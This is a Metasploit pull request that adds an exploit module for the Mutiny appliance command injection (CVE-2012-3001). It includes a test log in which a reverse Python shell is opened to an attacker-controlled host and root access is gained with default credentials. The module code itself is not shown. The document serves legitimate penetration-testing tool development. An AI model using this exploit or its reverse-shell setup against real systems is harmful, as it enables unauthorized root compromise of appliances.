rapid7/metasploit-framework — pull request #1557 by jvazquez-r7 (2013-03-07 13:28:08+00:00)
Title: added module for cve-2012-3001

Tested successfully with Mutiny 4.2-1.05 as distributed on the vendor page:

http://www.mutiny.com/support/downloads/Mutiny-Build-CD-4.2-1.05.iso

Notes:

* The python payload is the more stable in this case, since others (perl and bash) are executed multiple times after injection, which is annoying. Since python is installed by default in the mutiny appliance sounds like a good option for me.
* The exploitation modifies network parameters (mainly the netmask), because of this the exploit tries to leak the original parameters and restores the original network configuration after exploitation.

Test results:

```
msf exploit(mutiny_subnetmask_exec) > show options

Module options (exploit/unix/webapp/mutiny_subnetmask_exec):

Name Current Setting Required Description
---- --------------- -------- -----------
PASSWORD mutiny yes The password to authenticate with
Proxies no Use a proxy chain
RHOST 192.168.1.177 yes The target address
RPORT 80 yes The target port
TARGETURI /interface/ yes The base path to Mutiny
USERNAME admin yes The user to authenticate as
VHOST no HTTP server virtual host

Payload options (cmd/unix/reverse_python):

Name Current Setting Required Description
---- --------------- -------- -----------
LHOST 192.168.1.128 yes The listen address
LPORT 4444 yes The listen port
SHELL /bin/bash yes The system shell to use.

Exploit target:

Id Name
-- ----
0 Automatic

msf exploit(mutiny_subnetmask_exec) > rexploit
[*] Reloading module...

[*] Started reverse handler on 192.168.1.128:4444
[*] 192.168.1.177:80 - Login with the provided credentials...
[+] 192.168.1.177:80 - Login successful
[*] 192.168.1.177:80 - Leaking current Network Information...
[+] 192.168.1.177:80 - Information leaked successfully
[*] 192.168.1.177:80 - Exploiting Command Injection...
[*] Command shell session 2 opened (192.168.1.128:4444 -> 192.168.1.177:40294) at 2013-03-07 14:19:39 +0100
[*] 192.168.1.177:80 - Restoring Network information
[+] 192.168.1.177:80 - Network information restored

bash: no job control in this shell
[root@mutiny-unknown network-scripts]# 1901772573
vycrgtyayFoxCpkHpOhvWdHTBrhiyHQW
[root@mutiny-unknown network-scripts]# [root@mutiny-unknown network-scripts]# Shutting down interface eth0: [ OK ]
Shutting down loopback interface: [ OK ]
Bringing up loopback interface: [ OK ]
Bringing up interface eth0: [ OK ]
Bringing up interface eth1: Device eth1 does not seem to be present, delaying initialization.
[FAILED]
AlAeyCxLgWGvROEByrhXlZpIUMuaacki
[root@mutiny-unknown network-scripts]# id
uid=0(root) gid=0(root)
[root@mutiny-unknown network-scripts]# uname -a
Linux mutiny-unknown 2.6.15-1.1833_FC4smp #1 SMP Wed Mar 1 23:56:51 EST 2006 i686 i686 i386 GNU/Linux
[root@mutiny-unknown network-scripts]# exit
exit

[*] 192.168.1.177 - Command shell session 2 closed. Reason: Died from EOFError
^C
Abort session 2? [y/N] y
msf exploit(mutiny_subnetmask_exec) >

```